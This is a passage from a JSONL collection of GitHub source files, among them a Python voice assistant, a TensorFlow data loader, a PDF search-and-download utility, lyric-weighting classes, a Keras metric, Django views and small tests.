10 or hour == 12 or hour == 18 or hour ==22):\r\n counter = counter+1\r\n if(counter<3):\r\n notification.notify(\r\n title=\"** Please Drink Water Now!!\",\r\n message=\"The National Academies of Sciences, Engineering, and Medicine determined that an adequate daily fluid intake is: About 15.5 cups (3.7 liters) of fluids for men. About 11.5 cups (2.7 liters) of fluids a day for women.\",\r\n # app_icon = \"path to your .ico file\",\r\n timeout=5\r\n )\r\n respond(\"How can I help you?\")\r\n text = talk().lower()\r\n #--->print(text)\r\n # if nothing will said\r\n if text == \"\":\r\n respond(\"Sorry I did not hear your words, Please repeat again.\")\r\n continue\r\n\r\n if 'wait' in text:\r\n time.sleep(20)\r\n\r\n if \"stop\" in str(text) or \"exit\" in str(text) or \"bye\" in str(text):\r\n respond(\"Ok bye and take care\")\r\n break\r\n\r\n if 'wikipedia' in text:\r\n respond('Searching Wikipedia')\r\n text = text.replace(\"wikipedia\", \"\")\r\n results = wikipedia.summary(text, sentences=3)\r\n respond(\"According to Wikipedia\")\r\n respond(results)\r\n print(results)\r\n\r\n elif 'open google' in text:\r\n webbrowser.open_new_tab(\"https://www.google.com\")\r\n respond(\"Google is open\")\r\n time.sleep(5)\r\n\r\n elif (\"open word\" in text) or (\"open microsoft word\" in text):\r\n respond(\"Opening Microsoft Word\")\r\n os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Word')\r\n time.sleep(5)\r\n\r\n elif (\"open excel\" in text) or (\"open microsoft excel\" in text) :\r\n respond(\"Opening Microsoft Excel\")\r\n os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Excel')\r\n time.sleep(5)\r\n elif \"open notepad\" in text:\r\n respond(\"Opening Notepad\")\r\n os.startfile('C:/ProgramData/Microsoft/Windows/Start Menu/Programs/Accessories/Notepad')\r\n time.sleep(5)\r\n\r\n elif 'the time' in text:\r\n strTime = datetime.datetime.now().strftime(\"%H:%M:%S\")\r\n respond(f\"Sir, the time is {strTime}\")\r\n\r\n elif 'how are you' in text:\r\n respond(\"I am fine, Thank you\")\r\n respond(\"How are you\")\r\n text = talk().lower()\r\n if 'fine' in text or \"good\" in text:\r\n respond(\"It's good to know that you are fine\")\r\n else:\r\n respond(\"ok\")\r\n\r\n elif \"who made you\" in text or \"who created you\" in text:\r\n respond(\"I have been created by Tanzeem Khan\")\r\n\r\n elif \"who are you\" in text:\r\n respond(\"I am your virtual assistant created by Tanzeem Khan\")\r\n\r\n elif 'reason for you' in text or 'why are you created' in text:\r\n respond(\"I was created as a Major project by Tanzeem Khan \")\r\n\r\n elif \"where is\" in text:\r\n text = text.replace(\"where is\", \"\")\r\n location = text\r\n respond(\"User asked to Locate\")\r\n respond(location)\r\n webbrowser.open(\"https://www.google.nl/maps/place/\"+location +\"\")\r\n respond(\"Here is your result\")\r\n time.sleep(10)\r\n\r\n elif 'i love you' in text:\r\n respond(\" I love you too but as a machine\")\r\n respond(\"It is 7th sense that destroy all other senses\")\r\n\r\n elif 'is love' in text:\r\n respond(\"It is 7th sense that destroy all other senses\")\r\n\r\n elif \"write a note\" in text:\r\n respond(\"What should i write, sir\")\r\n note =talk().lower()\r\n file = open('jarvis.txt', 'w')\r\n respond(\"Sir, Should i include date and time\")\r\n snfm = talk().lower()\r\n if 'yes' in snfm or 'sure' in snfm:\r\n strTime = datetime.datetime.now().strftime(\"%m-%d-%Y %T:%M%p\")\r\n file.write(strTime)\r\n file.write(\" :- \")\r\n file.write(note)\r\n else:\r\n file.write(note)\r\n respond(\"this is what you said me to write\")\r\n file = open(\"C:/Users/Lenovo/PycharmProjects/voice_assis/jarvis.txt\", \"r\")\r\n print(file.read())\r\n os.startfile(os.path.join(\"C:Users/Lenovo/PycharmProjects/voice_assis/jarvis.txt\"))\r\n #file1 = file.read(6)\r\n #respond(file1)\r\n\r\n elif 'play music' in text or \"play a song\" in text:\r\n respond(\"Here you go with music\")\r\n # music_dir = \"G:\\\\Song\"\r\n music_dir = \"E:/Songs/hindi\"\r\n songs = os.listdir(music_dir)\r\n #print(songs)\r\n print(random.choice(songs))\r\n random1 = os.startfile(os.path.join(music_dir, random.choice(songs)))\r\n break\r\n\r\n elif 'joke' in text:\r\n respond(pyjokes.get_joke(language='en', category='all'))\r\n\r\n elif 'lock window' in text:\r\n respond(\"locking the device bye bye take care\")\r\n cmd = 'rundll32.exe user32.dll, LockWorkStation'\r\n subprocess.call(cmd)\r\n break\r\n #ctypes.windll.user32.LockWorkStation()\r\n\r\n elif 'shut down' in text:\r\n respond(\"Are you sure you want to shut down your computer\")\r\n a = talk().lower()\r\n if (a =='yes'):\r\n os.system(\"shutdown /s /t 1\")\r\n else:\r\n continue\r\n\r\n elif 'mail' in text:\r\n respond(\"Do you want to send mail from your email id of Tanzeem Khan\")\r\n t = talk().lower()\r\n if(t == \"yes\"):\r\n from1 =\"khantanzeem.1998@gmail.com\"\r\n pwd =\"**********\"\r\n try:\r\n respond(\"What should I say?\")\r\n content = talk().lower()\r\n respond(\"this is what you said\")\r\n respond(content)\r\n respond(\"If you want to change it please say yes to type\")\r\n t=talk().lower()\r\n if(t=='yes'):\r\n content = input(\"please type->: \")\r\n\r\n respond(\"whome should i send please type email address\")\r\n to = input(\"please type->: \")\r\n #sendEmail(to, content)\r\n respond(\"Email has been sent !\")\r\n except Exception as e:\r\n print(e)\r\n respond(\"I am not able to send this email\")\r\n else:\r\n respond(\"please type email address\")\r\n from1 = input(\"please type->: \")\r\n respond(\"please type password of your email address\")\r\n pwd = input(\"please type->: \")\r\n respond(\"What should I say?\")\r\n content = talk().lower()\r\n respond(\"this is what you said\")\r\n respond(content)\r\n respond(\"If you want to change it please say yes to type\")\r\n t = talk().lower()\r\n if (t == 'yes'):\r\n content = input(\"please type->: \")\r\n respond(\"whome should i send please type email address\")\r\n to = input(\"please type->: \")\r\n #sendEmail(to, content)\r\n\r\n\r\n server = smtplib.SMTP('smtp.gmail.com', 587)\r\n server.ehlo()\r\n server.starttls()\r\n\r\n # Enable low security in gmail\r\n server.login(from1, pwd)\r\n server.sendmail(from1, to, content)\r\n server.close()\r\n\r\n elif 'empty recycle bin' in text:\r\n #winshell.recycle_bin().empty(confirm=False, show_progress=False, sound=True)\r\n respond(\"Recycle Bin Recycled\")\r\n\r\n elif \"camera\" in text or \"take a photo\" in text:\r\n import cv2\r\n respond(\"Press Space bar to capture the Image and press Escape to close Camera\")\r\n cam = cv2.VideoCapture(0)\r\n #cv2.namedWindow(\"Chitti Camera\")\r\n img_counter = 0\r\n while True:\r\n ret, frame = cam.read()\r\n if not ret:\r\n print(\"failed to grab frame\")\r\n break\r\n cv2.imshow(\"test\", frame)\r\n k = cv2.waitKey(1)\r\n if k % 256 == 27:\r\n # ESC pressed\r\n print(\"Escape hit, closing...\")\r\n break\r\n elif k % 256 == 32:\r\n # SPACE pressed\r\n img_name = \"images/pic{}.png\".format(img_counter)\r\n cv2.imwrite(img_name, frame)\r\n print(\"{}\".format(img_name))\r\n img_counter += 1\r\n cam.release()\r\n cv2.destroyAllWindows()\r\n\r\n elif 'weather' in text:\r\n respond(\"Say City Name\")\r\n city = talk().lower()\r\n city = city + \" weather\"\r\n weather(city)\r\n respond(\"Have a Nice Day:\")\r\n\r\n elif 'google' in text:\r\n respond(\"Say what do you want to search in google\")\r\n query = talk().lower()\r\n webbrowser.open_new_tab(\"https://www.google.com/search?q=\"+query)\r\n\r\n elif 'youtube' in text:\r\n respond(\"Say what do you want to search in Youtube\")\r\n query = talk().lower()\r\n webbrowser.open_new_tab(\"https://www.youtube.com/results?search_query=\"+query)\r\n\r\n\r\n elif 'smart' in text:\r\n fun()\r\n else:\r\n respond(\"Sorry Application is not available right now. i will add this feature in my next version\")\r\n\r\n","repo_name":"khantanzeem/voiceassistant","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":15297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"71605558802","text":"import matplotlib.pyplot as plt\nimport matplotlib.image as mpimg\nimport numpy as np\nimport tensorflow as tf\nimport os\nimport cv2\n\nmodels_path = \"./models_origin\"\ndepth_map_path = \"./depth_maps\"\n\n#files = os.listdir(path)\n\naz = [\"0\", \"60\", \"120\", \"180\", \"240\", \"300\"]\nel = [\"-60\", \"-20\", \"20\", \"60\"]\n\npermutation_none = np.array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23])\npermutation_up_down = np.array([3, 2, 1, 0, 7, 6, 5, 4, 11, 10, 9, 8, 15, 14, 13, 12, 19, 18, 17, 16, 23, 22, 21, 20])\npermutation_rot_60 = np.array([4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3])\npermutation_rot_120 = np.array([8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7])\npermutation_rot_180 = np.array([12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11])\npermutation_rot_240 = np.array([16, 17, 18, 19, 20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15])\npermutation_rot_300 = np.array([20, 21, 22, 23, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19])\npermutation_rot_60_ud = permutation_rot_60[permutation_up_down]\npermutation_rot_120_ud = permutation_rot_120[permutation_up_down]\npermutation_rot_180_ud = permutation_rot_180[permutation_up_down]\npermutation_rot_240_ud = permutation_rot_240[permutation_up_down]\npermutation_rot_300_ud = permutation_rot_300[permutation_up_down]\n\nper = [permutation_none, permutation_up_down, permutation_rot_60, permutation_rot_180, permutation_rot_120, permutation_rot_240, permutation_rot_300, permutation_rot_60_ud, permutation_rot_120_ud, permutation_rot_180_ud, permutation_rot_240_ud, permutation_rot_300_ud]\n\n'''\ndef get_data(batch_size, train_size, test_size):\n model_files = os.listdir(models_path)\n train_data = np.empty(shape=[0, 24, 64, 64])\n test_data = np.empty(shape=[0, 24, 64, 64])\n train_label = []\n test_label = []\n idx = 0\n for file in model_files:\n if not os.path.isdir(file):\n input_data_origin = np.empty(shape=[0, 64, 64])\n input_label_origin = 11\n for a in az:\n for e in el:\n channel_name = depth_map_path + \"/\" + file + \"_\" + a + \"_\" + e + \".jpg\"\n channel = cv2.imread(channel_name, 0)\n channel = cv2.copyMakeBorder(channel, 11, 11, 4, 4, cv2.BORDER_CONSTANT, value=(0, 0, 0))\n channel = np.array(channel)\n input_data_origin = np.concatenate((input_data_origin, np.expand_dims(channel, axis=0)), axis=0)\n #\n input_data_origin = np.array(input_data_origin)\n for permut in per:\n input_data = input_data_origin[permut]\n input_label = np.where(permut == input_label_origin)[0][0]\n if idx < train_size:\n train_data = np.concatenate((train_data, np.expand_dims(input_data, axis=0)), axis=0)\n train_label.append(input_label)\n elif idx < train_size + test_size:\n test_data = np.concatenate((test_data, np.expand_dims(input_data, axis=0)), axis=0)\n test_label.append(input_label)\n idx += 1\n if idx > train_size + test_size:\n break\n\n # log...keep track of reading process\n print(train_data.shape, test_data.shape)\n\n\n train_data = np.transpose(train_data, (0, 2, 3, 1)).astype(np.float32)\n test_data = np.transpose(test_data, (0, 2, 3, 1)).astype(np.float32)\n train_label = tf.one_hot(train_label, 24)\n test_label = tf.one_hot(test_label, 24)\n print(train_data.shape, test_data.shape, train_label.shape, test_label.shape)\n\n\n mean = np.round(np.mean(train_data))\n train_data -= mean\n test_data -= mean\n\n train = (train_data, train_label)\n test = (test_data, test_label)\n train = tf.data.Dataset.from_tensor_slices(train).shuffle(10000).batch(batch_size)\n test = tf.data.Dataset.from_tensor_slices(test).batch(batch_size)\n\n return train, test\n'''\n\ndef get_data(batch_size, train_size, test_size):\n print('loading data...')\n data_total = np.empty(shape=[0, 24, 64, 64])\n label_total = np.empty(shape=[0])\n idx = 0\n while data_total.shape[0] < train_size + test_size:\n idx += 1\n data_total = np.concatenate((data_total, np.load('data' + str(idx) + '.npy')), axis=0)\n label_total = np.concatenate((label_total, np.load('label' + str(idx) + '.npy')), axis=0)\n print('loading... ', data_total.shape, label_total.shape)\n\n train_data = data_total[: train_size]\n train_label = label_total[: train_size]\n test_data = data_total[train_size : train_size + test_size]\n test_label = label_total[train_size : train_size + test_size]\n print('split data finished')\n\n train_data = np.transpose(train_data, (0, 2, 3, 1)).astype(np.float32)\n test_data = np.transpose(test_data, (0, 2, 3, 1)).astype(np.float32)\n train_label = tf.one_hot(train_label, 24)\n test_label = tf.one_hot(test_label, 24)\n print('transform to tf data finished')\n\n\n train = (train_data, train_label)\n test = (test_data, test_label)\n train = tf.data.Dataset.from_tensor_slices(train).shuffle(10000).batch(batch_size)\n test = tf.data.Dataset.from_tensor_slices(test).batch(batch_size)\n print('ready to train...')\n\n return train, test\n\n\n\nif __name__ == '__main__':\n get_data(32, 2500, 500) # passed\n","repo_name":"DanDoge/notes-on-algorithms","sub_path":"toy_on_bench/read_data.py","file_name":"read_data.py","file_ext":"py","file_size_in_byte":5510,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23293824394","text":"import numpy as np\nimport os\nimport advertools as adv\nimport requests\nimport PyPDF2\n# import fitz\n\nfrom .config_secrets import SE_API_KEY, SE_ID\n# from Product import Product\n\ndef get_serp(query):\n\n serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n return serp\n\ndef get_serp_brand_mpn(self):\n\n query = f\"{self._brand} {self._mpn}\"\n serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n return serp\n\ndef get_serp_pdfs(self):\n \"\"\"\n Returns a dictionary of PDFs {name:link} related to a product's brand/mpn.\n \"\"\"\n query = f\"filetype:pdf {self._brand} {self._mpn} product information\"\n serp = adv.serp_goog(q=[query], key=SE_API_KEY, cx=SE_ID)\n\n pdf_rank = list(serp['rank'])\n pdf_links = list(serp['link'])\n pdf_links_names = [link.split('.pdf')[0].rsplit('/',1)[1] for link in pdf_links] \n pdf_names = []\n for rank,name in zip(pdf_rank,pdf_links_names):\n pdf_file_name = f\"{self._brand}_{self._mpn}_{str(rank)}_{name}.pdf\"\n pdf_file_name = pdf_file_name.replace(' ','_')\n pdf_file_name = pdf_file_name.replace('(','')\n pdf_file_name = pdf_file_name.replace(')','')\n pdf_file_name = pdf_file_name.replace('%','')\n pdf_file_name = pdf_file_name.replace('#','')\n pdf_names.append(pdf_file_name)\n\n pdf_dict = {name: link for name, link in zip(pdf_names, pdf_links)}\n self._pdfs = pdf_dict\n\ndef get_pdf_relevance_score():\n \"\"\"\n # TODO: In a future state it will be helpful to add information to the _pdfs dict \n that returns a confidence score from 0 to 1 that explains how relevant a pdf is to the product.\n \"\"\"\n return\n\ndef download_pdfs(self, pdfs_path = \"../data/pdfs\"):\n \"\"\"\n Downloads pdf links to a directory called pdfs_path using a given name.\n Run self.get_serp_pdfs() before running download_pdfs() to initialize the list of pdfs.\n \"\"\"\n for pdf_name, pdf_link in self._pdfs.items():\n print(pdf_name, pdf_link)\n # define exact path to save the pdf in the loop\n pdf_file_path = f\"{pdfs_path}/{pdf_name}\"\n print(pdf_file_path)\n\n response = requests.get(pdf_link)\n\n if response.status_code == 200:\n pdf_content = response.content\n pdf_file_path = os.path.join(pdfs_path, pdf_name)\n\n with open(pdf_file_path, 'wb') as pdf_file:\n pdf_file.write(pdf_content)\n print(f\"PDF downloaded and saved as '{pdf_file_path}'\")\n else:\n print(f\"Failed to download PDF. Status code: {response.status_code}\")\n\n@staticmethod\ndef extract_pdf_text(source_directory = '../data/pdfs', target_directory = '../data/pdf_text'):\n\n for filename in os.listdir(source_directory):\n if filename.endswith('.pdf'):\n pdf_path = os.path.join(source_directory, filename)\n \n # Open PDF file\n pdf_file = open(pdf_path, 'rb')\n pdf_reader = PyPDF2.PdfReader(pdf_file)\n \n # Extract text\n text = ''\n for page in pdf_reader.pages:\n text += page.extract_text()\n \n # Close PDF file\n pdf_file.close()\n \n # Save extracted text to a text file in the target directory\n target_filename = os.path.splitext(filename)[0] + '.txt'\n target_path = os.path.join(target_directory, target_filename)\n with open(target_path, 'w', encoding='utf-8') as target_file:\n target_file.write(text)\n \n print(f'Extracted text from {filename} and saved to {target_filename}')\n\n# @staticmethod\n# def extract_pdf_images(source_directory = '../data/pdfs', target_directory = '../data/pdf_images'):\n\n# for filename in os.listdir(source_directory):\n# if filename.endswith('.pdf'):\n# pdf_path = os.path.join(source_directory, filename)\n \n# # Open PDF file\n# pdf_document = fitz.open(pdf_path)\n \n# # Iterate through pages and extract images\n# for page_number in range(pdf_document.page_count):\n# page = pdf_document[page_number]\n# images = page.get_images(full=True)\n \n# for img_index, img in enumerate(images):\n# xref = img[0]\n# base_image = pdf_document.extract_image(xref)\n# image_data = base_image[\"image\"]\n# image_filename = f'{filename}_page_{page_number + 1}_image_{img_index + 1}.png'\n# image_path = os.path.join(target_directory, image_filename)\n \n# with open(image_path, 'wb') as image_file:\n# image_file.write(image_data)\n \n# print(f'Image extracted from {filename} and saved as {image_filename}')\n \n# # Close PDF file\n# pdf_document.close()\n\n# @staticmethod\n# # pip install tabula-py\n# # import os\n# # import tabula\n# def extract_pdf_tables(source_directory = '../data/pdfs', target_directory = '../data/pdf_tables'):\n# for filename in os.listdir(source_directory):\n# if filename.endswith('.pdf'):\n# pdf_path = os.path.join(source_directory, filename)\n# output_path = os.path.join(target_directory, f'{filename}_tables.csv')\n \n# # Extract tables using tabula\n# tables = tabula.read_pdf(pdf_path, pages='all', multiple_tables=True)\n \n# if tables:\n# # Concatenate all tables into a single DataFrame\n# concatenated_tables = pd.concat(tables)\n \n# # Save the concatenated table to a CSV file\n# concatenated_tables.to_csv(output_path, index=False)\n# print(f'Tables extracted from {filename} and saved as {output_path}')\n# else:\n# print(f'No tables found in {filename}')","repo_name":"VanAltrades/product-d-structur","sub_path":"src/serps.py","file_name":"serps.py","file_ext":"py","file_size_in_byte":6029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"7147174621","text":"import numpy as np\nimport pandas as pd\nfrom abc import ABC, abstractmethod\n\n\nclass LyricWeigher(ABC):\n\n def __init__(self, idx_range=None):\n \"\"\"An abstract class, used as a schematic for weighing lyrics. This can\n be used to prioritize certain parts of a line, stanza, etc.\n\n Args:\n idx_range (list, optional): The lyric tokens in a list to consider.\n Defaults to None. For instance, you may only want to consider\n the first and last token.\n \"\"\"\n self.idx_range = idx_range\n\n @abstractmethod\n def weigh_subset(self, lyrics, *args, **kwargs):\n \"\"\"An abstract method -- this method should describe the method for\n weighing the subset of lyric tokens. Should return the\n multiplicative weight for the subset. These should sum to one.\n\n Args:\n lyrics (list [str]): lyrics to weigh\n\n \"\"\"\n pass\n\n def weigh_lyrics(self, lyrics, *args, **kwargs):\n \"\"\"Creates an array to store the weights, then weighs the values\n for the subset based on the weigh_subset method.\n\n Args:\n lyrics (list [str]): A list of tokens of lyrics to weigh\n\n Returns:\n np.array: An array containing the appropriate weights -- this\n should sum to one.\n \"\"\"\n ret = np.zeros(len(lyrics))\n ret[self.idx_range] = self.weigh_subset(lyrics, *args, **kwargs)\n return ret\n\n\nclass EqualLyricWeigher(LyricWeigher):\n \"\"\"Weighs all lyrics equally -- regardless of content.\n\n Args:\n LyricWeigher (lyrics.LyricWeigher): The abstract LyricWeigher\n \"\"\"\n\n def weigh_subset(self, lyrics):\n \"\"\"Weighs the subset of lyrics equally.\n\n Args:\n lyrics (list [str]): A list of tokens to weigh.\n\n Returns:\n np.array: An array containing the weights -- this will be equal\n probability weights, so 1/ the number of lyrics in the subset.\n \"\"\"\n\n if not isinstance(lyrics, np.ndarray):\n lyrics = np.array(lyrics)\n\n subset = lyrics[self.idx_range] if self.idx_range else lyrics\n\n return np.array([1/len(subset)] * len(subset))\n\n\nclass ConeLyricWeigher(LyricWeigher):\n\n def __init__(self, idx_range=None, concavity=1):\n \"\"\"Weighs lyrics in a \"cone\" structure, with lyrics at the start and\n end of the line being weighed more heavily than those in the center,\n and with symmetric values.\n\n Args:\n idx_range (list, optional): The lyric tokens in a list to consider.\n Defaults to None. For instance, you may only want to consider\n the first and last token.\n concavity (float, optional): The degree of concavity -- this is the\n exponent for the weights before it is normalized. 0 would weigh\n them all equally. Negative values place more weight on the\n center. Defaults to 1.\n \"\"\"\n\n super().__init__(idx_range)\n self.concavity = concavity\n\n def weigh_subset(self, lyrics):\n \"\"\"Weighs the subset of lyrics using the cone strategy based on the\n concavity.\n\n Args:\n lyrics (list [str]): A list of lyric tokens.\n\n Returns:\n np.array: An array containing the weights for each lyric.\n \"\"\"\n if not isinstance(lyrics, np.ndarray):\n lyrics = np.array(lyrics)\n\n subset = lyrics[self.idx_range] if self.idx_range else lyrics\n n_tokens = len(subset)\n\n weights = np.array([max([(n_tokens - i)/n_tokens, (i + 1)/n_tokens])\n for i in range(n_tokens)])\n weights = weights ** self.concavity\n weights /= weights.sum()\n\n return weights\n\n\nif __name__ == '__main__':\n test_lyrics = ['believe', 'possibility', 'finally', 'happy']\n\n e_l_w = EqualLyricWeigher()\n c_l_w = ConeLyricWeigher([0, 1, 3], concavity=1)\n\n print(e_l_w.weigh_lyrics(test_lyrics))\n print(e_l_w.weigh_lyrics(test_lyrics))\n\n print(c_l_w.weigh_lyrics(test_lyrics))\n print(c_l_w.weigh_lyrics(test_lyrics))\n","repo_name":"SeanAmmirati/deep-lyric-visualizer","sub_path":"src/deep_lyric_visualizer/lyrics/lyric_weigher.py","file_name":"lyric_weigher.py","file_ext":"py","file_size_in_byte":4164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"42057120376","text":"import os.path\n\nfrom numpy.testing import assert_equal\n\nfrom yt.frontends.rockstar.api import RockstarDataset\nfrom yt.testing import ParticleSelectionComparison, requires_file\nfrom yt.utilities.answer_testing.framework import (\n FieldValuesTest,\n data_dir_load,\n requires_ds,\n)\n\n_fields = (\n (\"all\", \"particle_position_x\"),\n (\"all\", \"particle_position_y\"),\n (\"all\", \"particle_position_z\"),\n (\"all\", \"particle_mass\"),\n)\n\nr1 = \"rockstar_halos/halos_0.0.bin\"\n\n\n@requires_ds(r1)\ndef test_fields_r1():\n ds = data_dir_load(r1)\n assert_equal(str(ds), os.path.basename(r1))\n for field in _fields:\n yield FieldValuesTest(r1, field, particle_type=True)\n\n\n@requires_file(r1)\ndef test_RockstarDataset():\n assert isinstance(data_dir_load(r1), RockstarDataset)\n\n\n@requires_file(r1)\ndef test_particle_selection():\n ds = data_dir_load(r1)\n psc = ParticleSelectionComparison(ds)\n psc.run_defaults()\n","repo_name":"yt-project/yt","sub_path":"yt/frontends/rockstar/tests/test_outputs.py","file_name":"test_outputs.py","file_ext":"py","file_size_in_byte":931,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"3"}
+{"seq_id":"5929868922","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('download_center', '0002_auto_20160718_0353'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='singer',\n name='singles_album',\n field=models.OneToOneField(null=True, blank=True, to='download_center.Album'),\n ),\n ]\n","repo_name":"bitapardaz/mci_app","sub_path":"download_center/migrations/0003_auto_20160718_0446.py","file_name":"0003_auto_20160718_0446.py","file_ext":"py","file_size_in_byte":457,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"29777625377","text":"import json\nimport logging\n\nimport settings\nfrom utils.utils import Utils\n\nlogger = logging.getLogger(\"persuasion_engine\")\n\n\nclass MYSQL:\n\n @classmethod\n def get_cursor(cls):\n # return mysql.get_db().cursor()\n return settings.mysql.connect().cursor()\n\n @staticmethod\n def fetch_data(query):\n try:\n cursor = MYSQL.get_cursor()\n cursor.execute(query)\n row_headers = [x[0] for x in cursor.description] # This will extract the headers\n data = cursor.fetchall()\n cursor.close()\n response = Utils.convert_tuple_to_dict(row_headers, data)\n return json.dumps(response, default=Utils.datetime_serializer())\n except Exception as e:\n logger.critical(\"Exception in executing SQL query : %s - %s \" % (query, repr(e)))\n return json.dumps(dict())\n","repo_name":"tarunbhorhari/persuasion_engine","sub_path":"databases/mysql.py","file_name":"mysql.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14475186545","text":"import tensorflow as tf\nfrom src.scaler import Scaler\n\n\nclass MAE(tf.keras.metrics.Metric):\n \"\"\"\n Custom Mean Absolute Error (MAE) metric with optional inverse scaling.\n\n Attributes:\n - inverse (bool): If True, inverse transformation is applied to the inputs.\n - abs_sum (tf.Tensor): Sum of absolute differences between predictions and true values.\n - count (tf.Tensor): Total number of elements used for calculating MAE.\n - scaler (Scaler): Instance of the Scaler class to inverse transform values.\n \"\"\"\n\n def __init__(self, inverse: bool = False, name: str = 'mae', **kwargs) -> None:\n super().__init__(name=name, **kwargs)\n self.abs_sum = self.add_weight(name=\"abs_sum\", initializer=\"zeros\")\n self.count = self.add_weight(name=\"count\", initializer=\"zeros\")\n self.scaler = Scaler()\n self.inverse = inverse\n\n def update_state(self, y_true: tf.Tensor, y_pred: tf.Tensor, sample_weight=None):\n y_true = tf.reshape(y_true, [tf.shape(y_true)[0], -1])\n y_pred = tf.reshape(y_pred, [tf.shape(y_pred)[0], -1])\n\n if self.inverse:\n y_true = self.scaler.inverse_transform(y_true, col_name=\"strain_field_matrix\")\n y_pred = self.scaler.inverse_transform(y_pred, col_name=\"strain_field_matrix\")\n\n error = tf.abs(y_pred - y_true)\n abs_sum = tf.reduce_sum(error)\n count = tf.cast(tf.size(y_true), dtype=tf.float32)\n\n self.abs_sum.assign_add(abs_sum)\n self.count.assign_add(count)\n\n def result(self) -> tf.Tensor:\n return tf.math.divide_no_nan(self.abs_sum, self.count)\n\n def reset_state(self) -> None:\n self.abs_sum.assign(0.0)\n self.count.assign(0.0)\n","repo_name":"eismont21/knowledge-surrogate-opt","sub_path":"src/metrics/mae.py","file_name":"mae.py","file_ext":"py","file_size_in_byte":1708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"75205122642","text":"# 给定一个二叉树,返回它的中序 遍历。\n#\n# 示例:\n#\n# 输入: [1,null,2,3]\n# 1\n# \\\n# 2\n# /\n# 3\n#\n# 输出: [1,3,2]\n#\n# 进阶: 递归算法很简单,你可以通过迭代算法完成吗?\n# Related Topics 栈 树 哈希表\n\n\n# leetcode submit region begin(Prohibit modification and deletion)\n# Definition for a binary tree node.\n# class TreeNode:\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution:\n def inorderTraversal(self, root: TreeNode) -> List[int]:\n \"\"\"\n 使用递归算法解决:\n 左根右=》左-打印-右\n \"\"\"\n # res = []\n #\n # def inTrave(root):\n # if not root:\n # return res\n # inTrave(root.left)\n # res.append(root.val)\n # inTrave(root.right)\n # inTrave(root)\n # return res\n \"\"\"\n 使用栈遍历\n \"\"\"\n res = []\n stack = []\n curr = root\n\n while curr or len(stack) != 0:\n # 如果当前结点非空\n while curr:\n # 将当前结点压入栈中\n stack.append(curr)\n # 转向左子树, 1. 左\n curr = curr.left\n # 此时遍历到树的最左结点,出栈\n curr = stack.pop()\n # 访问当前结点值, 2. 根\n res.append(curr.val)\n # 访问右结点 3. 右\n curr = curr.right\n\n return res\n\n\n\n\n\n\n# leetcode submit region end(Prohibit modification and deletion)\n","repo_name":"Cjvaely/GitCode","sub_path":"PycharmProjects/LeetCode/L94inorderTraversal.py","file_name":"L94inorderTraversal.py","file_ext":"py","file_size_in_byte":1620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41356378060","text":"import datetime\n\nfrom django.shortcuts import get_object_or_404\n\nfrom rest_framework import status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.exceptions import PermissionDenied, ValidationError\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom .models import Notification\nfrom .serializers import NotificationSerializer\n\nclass NotificationView(APIView):\n\n\t@api_view(['GET', 'POST'])\n\tdef notification_collection(request):\n\t\tif request.method == 'GET':\n\t\t\tnotifications = Notification.objects.filter(end__gte=datetime.datetime.utcnow()).order_by('-start')\n\t\t\tserializer = NotificationSerializer(notifications, many=True)\n\t\t\treturn Response(serializer.data)\n\t\t\n\t\telif request.method == 'POST':\n\t\t\tserializer = NotificationSerializer(data=request.data)\n\t\t\tif serializer.is_valid():\n\t\t\t\tserializer.save()\n\t\t\t\treturn Response(serializer.data, status=status.HTTP_201_CREATED)\n\t\t\telse:\n\t\t\t\traise ValidationError(detail={'error': serializer.errors})\n\n\t@api_view(['GET','PUT', 'DELETE'])\n\tdef notification_element(request, id):\n\t\tnotification = get_object_or_404(Notification, pk=id)\n\n\t\tif request.method == 'GET':\t\n\t\t\tserializer = NotificationSerializer(notification)\n\t\t\treturn Response(serializer.data)\n\n\t\telif request.method == 'PUT':\n\t\t\tserializer = NotificationSerializer(notification, data=request.data, partial=True)\n\t\t\tif serializer.is_valid():\n\t\t\t\tserializer.save()\n\t\t\t\treturn Response(serializer.data)\n\t\t\telse:\n\t\t\t\traise ValidationError(detail={'error': serializer.errors})\n\n\t\telif request.method == 